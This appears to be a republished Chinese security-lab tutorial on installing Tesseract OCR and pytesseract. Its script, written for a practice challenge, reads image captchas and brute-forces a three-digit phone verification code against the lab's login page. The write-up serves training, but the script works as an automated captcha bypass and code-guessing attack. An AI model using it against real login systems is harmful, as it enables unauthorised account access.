【技术分享】python验证码识别

admin 2022年7月13日09:22:03安全开发评论11 views4394字阅读14分38秒阅读模式

【技术分享】python验证码识别




更多资讯和分析文章请关注联想安全实验室微信公众号及官方网站(securitylab.lenovo.com)培训播报:安全编码培训第一期

关于python验证码识别库,网上主要介绍的为pytesser及pytesseract,其实pytesser的安装有一点点麻烦,所以这里我不考虑,直接使用后一种库。

0X00 python验证码识别库安装

要安装pytesseract库,必须先安装其依赖的PIL及tesseract-ocr,其中PIL为图像处理库,而后面的tesseract-ocr则为google的ocr识别引擎

安装过程比较慢耐心点

首先安装Tessseact-ocr

Tesseract 是一款被广泛使用的开源 OCR 工具,本文将对其进行简单的介绍

Tesseract(/‘tesərækt/) 这个词的意思是”超立方体”,指的是几何学里的四维标准方体,又称”正八胞体”。右图是一个正八胞体绕着两个四维空间中互相正交的平面进行双旋转时的透视投影。不过这里要讲的,是一款以其命名的开源 OCR(Optical Character Recognition, 光学字符识别) 软件。

所谓 OCR 是图像识别领域中的一个子领域,该领域专注于对图片中的文字信息进行识别并转换成能被常规文本编辑器编辑的文本 依赖库

$ sudo apt-get install gcc$sudo apt-get install g++$sudo apt-get install automake $ sudo apt-get install autoconf automake libtool $ sudo apt-get install libpng12-dev $ sudo apt-get install libjpeg62-dev $ sudo apt-get install libtiff4-dev $ sudo apt-get install zlib1g-dev

###获取,安装与配置### 需要的软件

1、pytesseract

2、PIL或者是pillow都可以

3、tesseract-ocr

前两个特别容易安装直接

$ sudo pip install pytesseract #安装pytesseract$ sudo apt-get install python-imaging  #安装PIL库文件

主流的 Linux 发行版都可以通过包管理器来安装 Tesseract,以 Debian 及其衍生版为例:

sudo apt-get install tesseract-ocr

想用 Tesseract 对图像进行识别,还需要对应的语言文件。所谓的语言文件是 Tesseract 识别某种语言的文字图像时需要的一些资源,这些东西也可以通过包管理器获取。比如我们需要识别英语和简体中文,那么:

sudo apt-get install tesseract-ocr-eng tesseract-ocr-chi-sim

当然了,这是通过包管理器的方式进行安装,如果需要,还可以通过编译安装的方式来构建最新版的 Tesseract.

Tesseract 的项目托管在 Google Codehttp://https://code.google.com/p/tesseract-ocr/downloads/list 上,在下载页面可以自己选择需要的版本

Tesseract 的编译需要 automake, autoconf, libtool 支持,所以这几个工具得装上:

sudo apt-get install autoconf automake libtool

当然了, Tesseract 还依赖一些图像库:

sudo apt-get install ligjpeg62-dev libtiff4-dev libpng12-dev libleptonica-dev

注意: 以上安装的包的名称可能在不同发行版上略有不同 

例如我在基于debian的Kali2.0下安装时怎么都找不到ligjpeg62-dev libtiff4-dev libpng12-dev这三个库,找了好多资料最终替换了原来的库

用libjpeg62-turbo-dev 代替了libjpeg62-dev,用libpng12-0替换了libpng12-dev,和用libtiff5-dev替换了libtiff4-dev

需要注意的是,Leptonica 是 Tesseract 的一个比较重要的依赖,而且不同版本的 Tesseract 对 Leptonica 的版本要求也不一样,需要留意包管理器所安装的 Leptonica 版本是否满足要求,如果不满足要求,最好还是下载 Leptonica 的源代码编译安装。

Tesseract 3.01: Leptonica 版本不低于 1.67

Tesseract 3.02: Leptonica 版本不低于 1.69

Tesseract 3.03: Leptonica 版本不低于 1.70

解决依赖后按常规方法编译安装即可:

./configuremakesudo make install sudo ldconfig

以下的话纯属啰嗦,可以不看,不影响应用python识别验证码过程

在 3.03 及以上版本中,用于训练产生语言文件的工具需要单独编译和安装:

make training sudo make training-install

建议在执行 ./configure 时加上参数 –prefix=xxx 来指定安装路径,这样以后要卸载会方便一些——当然如果这样做的话在安装完后需要做一些额外的工作,包括:

添加 Tesseract 的可执行程序路径到环境变量 PATH 中

在 /usr/include 目录或者 /usr/local/include 目录下建立 Tesseract 安装目录下 include/tesseract 的符号链接

在 /usr/lib 目录或者 /usr/local/lib 目录下建立 Tesseract 安装目录下的 lib 目录下的静态链接库、动态链接库的符号链接

安装完成后,无论是通过包管理器安装的还是通过编译源代码安装的,建立都配置一下 TESSDATA_PREFIX 这个环境变量。在这个环境变量未设置的情况下,Tesseract 将会在安装目录中的 share/tessdata 这个目录下去寻找、加载语言文件,这本身当然没什么问题。

问题在于当我们想添加新的语言文件时,会遇到一些麻烦——程序一般都是安装的系统目录中,也就是说,我们需要提升权限才能将语言文件放到正确的地方。假如是在公司的服务器上进行相关的操作,普通用户一般都是没有 sudo 权限的。将语言文件放置在用户目录中可以解决这个问题,方法是在 .bashrc (假设您使用 bash 作为日常的 shell)中设置

export TESSDATA_PREFIX=$HOME/

如上设置时,将语言文件放在 ~/tessdata/ 下面即可。

0X01 实验内容

此实验题目是网络信息安全攻防学习平台的一个脚本关的内容目的是爆破手机验证码,题目地址

http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/index.php

0X02 脚本

此脚本借鉴自圈子内另一位大牛named:独自等待

#!/usr/bin/env python# -*- coding: utf_8 -*-# Date: 2016/6/10# Created by Kivusectry:import pytesseractfrom PIL import Imageimport requestsexcept ImportError:print 'moulde import error,Please use pip install,pytesseract depend follow:'print 'http://www.lfd.uci.edu/~gohlke/pythonlibs/#pil'print 'http://code.google.com/p/tesseract-ocr/'raise SystemExit  header = {'Cookie': 'PHPSESSID=15504f16a4c9c27081c4741393ae0fe6'}def vcode():print 'python vcode recognize'pic_url = 'http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/vcode.php'r = requests.get(pic_url, headers=header, timeout=10)with open('vcode.png', 'wb') as pic: pic.write(r.content) im =pytesseract.image_to_string(Image.open('vcode.png'))print imprint 'test3'im = im.replace(' ', '')if im != '':return imelse:return vcode()try:print 'nScript number 11n'for pwd in xrange(100, 999): code = vcode() url = 'http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/login.php'payload = {'username': 13388886666, 'mobi_code': pwd, 'user_code': code} r = requests.post(url, data=payload, headers=header, timeout=10) response = unicode(r.content, 'utf-8').encode('gbk')if 'error' not in response:print 'Correct vcode is:', pwd, responsebreakelse:print 'Trying vcode:', pwd, codeexcept KeyboardInterrupt:raise SystemExit('Already Exit!')

0X03 结果

【技术分享】python验证码识别

0X04 参考

https://www.cnblogs.com/BlueSkyyj/p/7609194.html http://blog.csdn.net/wanghui2008123/article/details/37694307


联想安全实验室


联想安全实验室,以控制产品安全质量为核心,研究主流安全攻防技术,构筑产品安全创新生态。实验室研究方向涵盖终端产品安全、云服务安全、IoT产品安全、大数据安全、无线网络安全等方向,专注于端到端的产品安全技术能力研究,同时安全实验室还关注工业互联网、智能交通、智慧城市、智慧家庭等方向的安全研究。

【技术分享】python验证码识别【技术分享】python验证码识别




原文始发于微信公众号(联想全球安全实验室):【技术分享】python验证码识别

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月13日09:22:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  【技术分享】python验证码识别 http://cn-sec.com/archives/1066758.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: